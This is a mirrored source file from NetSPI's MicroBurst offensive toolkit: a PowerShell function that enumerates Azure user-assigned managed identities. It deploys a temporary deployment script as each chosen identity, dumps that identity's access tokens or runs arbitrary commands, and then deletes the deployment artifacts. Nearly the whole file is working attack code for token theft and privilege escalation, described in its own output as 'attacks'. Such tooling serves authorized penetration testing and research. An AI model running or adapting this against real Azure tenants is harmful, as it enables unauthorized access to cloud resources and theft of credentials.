mirror of
https://github.com/NetSPI/MicroBurst
synced 2026-06-08 12:01:29 +00:00
1990ea38d1
Adjusted token extraction command to correct for token casting to SecureString in Get-AzAccessToken output.
312 lines
16 KiB
PowerShell
312 lines
16 KiB
PowerShell
<#
|
|
File: Invoke-AzUADeploymentScript.ps1
|
|
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2024
|
|
Description: PowerShell function for generating Azure User-Assigned Managed Identity tokens, using deployment scripts.
|
|
#>
|
|
|
|
Function Invoke-AzUADeploymentScript
|
|
{
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
Enumerates and dumps access tokens for any available User-Assigned Managed Identities.
|
|
.DESCRIPTION
|
|
This function will look for any available User-Assigned Managed Identities, then allows you to run commands (via Deployment Scripts) as that identity. The base usage will create a temporary Deployment Script that attaches the selected Managed Identity and generates a management scoped access token.
|
|
.PARAMETER Subscription
|
|
Subscription to use.
|
|
.PARAMETER TokenScope
|
|
The scope to generate the Managed Identity for.
|
|
.PARAMETER Command
|
|
The Command to run as the Managed Identity in the Deployment Script environment. If you are expecting output from this command, make sure that you pipe your command to a ConvertTo-* in the parameter to ensure that a string is returned to the output function. Example: -Command "Get-AzResource | ConvertTo-Json"
|
|
.EXAMPLE
|
|
PS C:\MicroBurst> Invoke-AzUADeploymentScript -Verbose
|
|
VERBOSE: Logged In as kfosaaen@example.com
|
|
VERBOSE: Enumerating User Assigned Managed Identities in the "Sample Subscription" Subscription
|
|
VERBOSE: 4 total User Assigned Managed Identities identified in the "Sample Subscription" Subscription
|
|
VERBOSE: Checking permissions on NetSPI Managed Identity
|
|
VERBOSE: Checking permissions on testIdentity Managed Identity
|
|
VERBOSE: Checking permissions on secondID Managed Identity
|
|
VERBOSE: Checking permissions on ID3 Managed Identity
|
|
VERBOSE: 10 User Assigned Managed Identity Role Assignments that the current user has access to
|
|
VERBOSE: Targeting the ID3 Managed Identity using the MDFTjQIEZckgyNf Deployment Script
|
|
VERBOSE: Starting the deployment (tmp8B1) of the MDFTjQIEZckgyNf Deployment Script to the tester Resource Group
|
|
VERBOSE: Deleting the MDFTjQIEZckgyNf Deployment Script
|
|
VERBOSE: Deleting the tmp8B1 Deployment
|
|
VERBOSE: Completed targeting the ID3 Managed Identity
|
|
VERBOSE: Completed attacks against the "Sample Subscription" Subscription
|
|
|
|
.LINK
|
|
https://github.com/NetSPI/MicroBurst
|
|
https://github.com/SecureHats/miaow
|
|
https://rogierdijkman.medium.com/project-miaow-9f334e8ec09e
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Subscription to use.")]
|
|
[string]$Subscription = "",
|
|
|
|
[parameter(Mandatory=$false,
|
|
HelpMessage="The scope to generate the Managed Identity for.")]
|
|
[String]$TokenScope = "https://management.azure.com/",
|
|
|
|
[parameter(Mandatory=$false,
|
|
HelpMessage="The Resource Group to deploy the Deployment Script to.")]
|
|
[String]$ResourceGroup = "",
|
|
|
|
[parameter(Mandatory=$false,
|
|
HelpMessage="The Subscription that contains the Resource Group to deploy the Deployment Script to.")]
|
|
[String]$DeploymentSubscriptionID = "",
|
|
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Command to run in the deployment script.")]
|
|
[string]$Command = "`$AccessToken = Get-AzAccessToken -ResourceUrl $TokenScope; if (`$AccessToken.Token -is [System.Security.SecureString]) { `$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(`$AccessToken.Token); try { `$Token = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR(`$ssPtr)} finally { [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR(`$ssPtr) } } else { `$Token = `$AccessToken.Token }; `$Token"
|
|
)
|
|
|
|
|
|
# Check to see if we're logged in
|
|
$LoginStatus = Get-AzContext
|
|
$accountName = ($LoginStatus.Account).Id
|
|
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
|
|
try {Connect-AzAccount -ErrorAction Stop}
|
|
catch{Write-Warning "Login process failed."}
|
|
}
|
|
else{}
|
|
|
|
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
|
|
if ($Subscription){
|
|
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
|
|
}
|
|
else{
|
|
# List subscriptions, pipe out to gridview selection
|
|
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
|
|
$subChoice = $Subscriptions | Out-GridView -Title "Select One or More Subscriptions" -PassThru
|
|
foreach ($sub in $subChoice) {Invoke-AzUADeploymentScript -Subscription $sub -TokenScope $TokenScope -Command $Command -ResourceGroup $ResourceGroup -DeploymentSubscriptionID $DeploymentSubscriptionID}
|
|
return
|
|
}
|
|
|
|
Write-Verbose "Logged In as $accountName"
|
|
Write-Verbose "Enumerating User Assigned Managed Identities in the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
|
|
|
|
# Create data table to house roles
|
|
$TempTblRoles = New-Object System.Data.DataTable
|
|
$TempTblRoles.Columns.Add("DisplayName") | Out-Null
|
|
$TempTblRoles.Columns.Add("RoleDefinitionName") | Out-Null
|
|
$TempTblRoles.Columns.Add("Scope") | Out-Null
|
|
$TempTblRoles.Columns.Add("ResourceGroup") | Out-Null
|
|
$TempTblRoles.Columns.Add("SubscriptionID") | Out-Null
|
|
|
|
# Create data table to house output
|
|
$TempTblOutput = New-Object System.Data.DataTable
|
|
$TempTblOutput.Columns.Add("ManagedIdentity") | Out-Null
|
|
$TempTblOutput.Columns.Add("Output") | Out-Null
|
|
|
|
# Get the list of UA-MIs and Role Assignments
|
|
$uamiList = Get-AzUserAssignedIdentity
|
|
Write-Verbose "`t$($uamiList.Count) total User Assigned Managed Identities identified in the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
|
|
$uamiList | ForEach-Object {
|
|
$IDRG = $_.ResourceGroupName
|
|
$uamidID = $_.PrincipalId
|
|
$uamidName = $_.Name
|
|
$uamidSub = $_.Id.Split('/')[2]
|
|
$AccessToken = Get-AzAccessToken
|
|
if ($AccessToken.Token -is [System.Security.SecureString]) {
|
|
$ssPtr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($AccessToken.Token)
|
|
try {
|
|
$Token = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ssPtr)
|
|
} finally {
|
|
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($ssPtr)
|
|
}
|
|
} else {
|
|
$Token = $AccessToken.Token
|
|
}
|
|
|
|
Write-Verbose "`t`tChecking permissions on $($_.Name) Managed Identity"
|
|
|
|
# Authorization Check - * or "Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action" permissions on the UAMI
|
|
$url = "https://management.azure.com/$($_.Id)/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
|
|
$uamiAccess = $false
|
|
(Invoke-RestMethod -Verbose:$false -Uri $url -Headers @{ Authorization ="Bearer $token"}).value | ForEach-Object{
|
|
if($_.actions -eq "*"){
|
|
$uamiAccess = $true
|
|
}
|
|
elseif($_.actions -eq "Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action"){
|
|
$uamiAccess = $true
|
|
}
|
|
}
|
|
|
|
# If you have read/assign, then proceed
|
|
if($uamiAccess -eq $true){
|
|
# Get roles from all available subscriptions and management groups
|
|
$tempRoles = Get-AzRoleAssignment -ObjectId $_.PrincipalId -ErrorAction SilentlyContinue
|
|
$tempRoles | ForEach-Object{
|
|
$TempTblRoles.Rows.Add($uamidName,$_.RoleDefinitionName,$_.Scope,$IDRG,$uamidSub) | Out-Null
|
|
}
|
|
|
|
# Get roles from all available subscriptions
|
|
$subscriptionList = Get-AzSubscription -WarningAction SilentlyContinue
|
|
$subscriptionList | ForEach-Object{
|
|
$tempRoles = Get-AzRoleAssignment -ObjectId $uamidID -Scope $(-join('/subscriptions/',$_.id)) -ErrorAction SilentlyContinue
|
|
$tempRoles | ForEach-Object{
|
|
$TempTblRoles.Rows.Add($uamidName,$_.RoleDefinitionName,$_.Scope,$IDRG,$uamidSub) | Out-Null
|
|
}
|
|
}
|
|
|
|
# Get roles from all available management groups
|
|
$mgmtGroups = Get-AzManagementGroup
|
|
$mgmtGroups | ForEach-Object{
|
|
$tempRoles = Get-AzRoleAssignment -ObjectId $uamidID -Scope $_.Id -ErrorAction SilentlyContinue
|
|
$tempRoles | ForEach-Object{
|
|
$TempTblRoles.Rows.Add($uamidName,$_.RoleDefinitionName,$_.Scope,$IDRG,$uamidSub) | Out-Null
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
$TempTblRolesSorted = $TempTblRoles | Sort-Object -Property DisplayName,RoleDefinitionName,Scope,ResourceGroup,SubscriptionID -Unique | Select-Object DisplayName,RoleDefinitionName,Scope,ResourceGroup,SubscriptionID
|
|
|
|
|
|
# Select a UA-MI to use
|
|
$roleChoice = $TempTblRolesSorted | Out-GridView -Title "Select One or More Identities/Roles to run commands as" -PassThru
|
|
|
|
foreach($role in $roleChoice){
|
|
|
|
$scriptName = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})
|
|
|
|
Write-Verbose "`tTargeting the $($role.DisplayName) Managed Identity using the $scriptName Deployment Script"
|
|
|
|
# Create the deployment template with the command embedded
|
|
$tempDeployment = "{
|
|
`"`$schema`": `"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#`",
|
|
`"contentVersion`": `"1.0.0.0`",
|
|
`"parameters`": {
|
|
`"utcValue`": {
|
|
`"type`": `"String`",
|
|
`"defaultValue`":`"[utcNow()]`"
|
|
},
|
|
`"managedIdentitySubscription`": {
|
|
`"type`": `"String`"
|
|
},
|
|
`"managedIdentityResourceGroup`": {
|
|
`"type`": `"String`"
|
|
},
|
|
`"managedIdentityName`": {
|
|
`"type`": `"String`"
|
|
},
|
|
`"command`": {
|
|
`"type`": `"String`",
|
|
`"defaultValue`":`"(Get-AzAccessToken).Token`"
|
|
}
|
|
},
|
|
`"variables`": {},
|
|
`"resources`": [
|
|
{
|
|
`"type`": `"Microsoft.Resources/deploymentScripts`",
|
|
`"apiVersion`": `"2020-10-01`",
|
|
`"name`": `"$scriptName`",
|
|
`"location`": `"[resourceGroup().location]`",
|
|
`"kind`": `"AzurePowerShell`",
|
|
`"identity`": {
|
|
`"type`": `"UserAssigned`",
|
|
`"userAssignedIdentities`": {
|
|
`"[resourceId(parameters('managedIdentitySubscription'), parameters('managedIdentityResourceGroup'), 'Microsoft.ManagedIdentity/userAssignedIdentities', parameters('managedIdentityName'))]`": {}
|
|
}
|
|
},
|
|
`"properties`": {
|
|
`"forceUpdateTag`": `"[parameters('utcValue')]`",
|
|
`"azPowerShellVersion`": `"8.3`",
|
|
`"timeout`": `"PT30M`",
|
|
`"arguments`": `"`",
|
|
`"scriptContent`": `"`$output = `$($command); `$DeploymentScriptOutputs = @{}; `$DeploymentScriptOutputs['text'] = `$output`",
|
|
`"cleanupPreference`": `"Always`",
|
|
`"retentionInterval`": `"P1D`"
|
|
}
|
|
}
|
|
],
|
|
`"outputs`": {
|
|
`"result`": {
|
|
`"value`": `"[reference('$scriptName').outputs.text]`",
|
|
`"type`": `"string`"
|
|
}
|
|
}
|
|
}"
|
|
|
|
# Create Temp File
|
|
$TemplateFile = New-TemporaryFile
|
|
$tempDeployment | Out-File $TemplateFile
|
|
|
|
# Improvement Opportunity - !!! Test Resource Group Permissions before attempting to deploy
|
|
|
|
# If alternate Subscription is in use, swap Subscriptions
|
|
if(($DeploymentSubscriptionID -ne "") -and ($ResourceGroup -ne "")){
|
|
$currentContext = Get-AzContext
|
|
Set-AzContext -SubscriptionId $DeploymentSubscriptionID | Out-Null
|
|
|
|
try{Get-AzResourceGroup -Name $ResourceGroup -ErrorAction Stop | Out-Null}
|
|
catch{Write-Verbose "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $DeploymentSubscriptionID).Name)`" subscription"; Write-Host "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $DeploymentSubscriptionID).Name)`" subscription"; break}
|
|
|
|
# Deploy the Template
|
|
Write-Verbose "`t`tStarting the deployment ($($TemplateFile.BaseName)) of the $scriptName Deployment Script to the $ResourceGroup Resource Group"
|
|
$newDeployment = New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroup -TemplateFile $TemplateFile -managedIdentitySubscription $role.SubscriptionID -managedIdentityName $role.DisplayName -managedIdentityResourceGroup $role.ResourceGroup -Verbose:$false
|
|
|
|
# Delete the deployment script
|
|
Write-Verbose "`t`tDeleting the $scriptName Deployment Script"
|
|
Remove-AzDeploymentScript -Name $scriptName -ResourceGroupName $ResourceGroup
|
|
|
|
# Delete the deployment
|
|
Write-Verbose "`t`tDeleting the $($TemplateFile.BaseName) Deployment"
|
|
Remove-AzResourceGroupDeployment -Name $($TemplateFile.BaseName) -ResourceGroupName $ResourceGroup -Verbose:$false| Out-Null
|
|
|
|
Set-AzContext -Context $currentContext | Out-Null
|
|
}
|
|
elseif($ResourceGroup -ne ""){
|
|
|
|
# If Resource Group is specified, use that resource in your current subscription
|
|
try{Get-AzResourceGroup -Name $ResourceGroup -ErrorAction Stop | Out-Null}
|
|
catch{Write-Verbose "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" subscription"; Write-Host "$ResourceGroup is an invalid Resource Group Name for the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" subscription"; break}
|
|
|
|
# Deploy the Template
|
|
Write-Verbose "`t`tStarting the deployment ($($TemplateFile.BaseName)) of the $scriptName Deployment Script to the $ResourceGroup Resource Group"
|
|
$newDeployment = New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroup -TemplateFile $TemplateFile -managedIdentitySubscription $role.SubscriptionID -managedIdentityName $role.DisplayName -managedIdentityResourceGroup $role.ResourceGroup -Verbose:$false
|
|
|
|
# Delete the deployment script
|
|
Write-Verbose "`t`tDeleting the $scriptName Deployment Script"
|
|
Remove-AzDeploymentScript -Name $scriptName -ResourceGroupName $ResourceGroup
|
|
|
|
# Delete the deployment
|
|
Write-Verbose "`t`tDeleting the $($TemplateFile.BaseName) Deployment"
|
|
Remove-AzResourceGroupDeployment -Name $($TemplateFile.BaseName) -ResourceGroupName $ResourceGroup -Verbose:$false| Out-Null
|
|
}
|
|
else{
|
|
|
|
# If running defaults, just deploy to the Resource Group of the UA-MI
|
|
|
|
$ResourceGroup = $role.ResourceGroup
|
|
|
|
# Deploy the Template
|
|
Write-Verbose "`t`tStarting the deployment ($($TemplateFile.BaseName)) of the $scriptName Deployment Script to the $ResourceGroup Resource Group"
|
|
$newDeployment = New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroup -TemplateFile $TemplateFile -managedIdentitySubscription $role.SubscriptionID -managedIdentityName $role.DisplayName -managedIdentityResourceGroup $role.ResourceGroup -Verbose:$false
|
|
|
|
# Delete the deployment script
|
|
Write-Verbose "`t`tDeleting the $scriptName Deployment Script"
|
|
Remove-AzDeploymentScript -Name $scriptName -ResourceGroupName $ResourceGroup
|
|
|
|
# Delete the deployment
|
|
Write-Verbose "`t`tDeleting the $($TemplateFile.BaseName) Deployment"
|
|
Remove-AzResourceGroupDeployment -Name $($TemplateFile.BaseName) -ResourceGroupName $ResourceGroup -Verbose:$false| Out-Null
|
|
}
|
|
|
|
# Add the Output to the table
|
|
$TempTblOutput.Rows.Add($role.DisplayName,$newDeployment.Outputs.Values.value) | Out-Null
|
|
|
|
# Delete Temp File
|
|
Remove-Item $TemplateFile
|
|
|
|
Write-Verbose "`tCompleted targeting the $($role.DisplayName) Managed Identity"
|
|
}
|
|
|
|
Write-Verbose "Completed attacks against the `"$((Get-AzSubscription -SubscriptionId $Subscription).Name)`" Subscription"
|
|
|
|
Write-Output $TempTblOutput
|
|
} |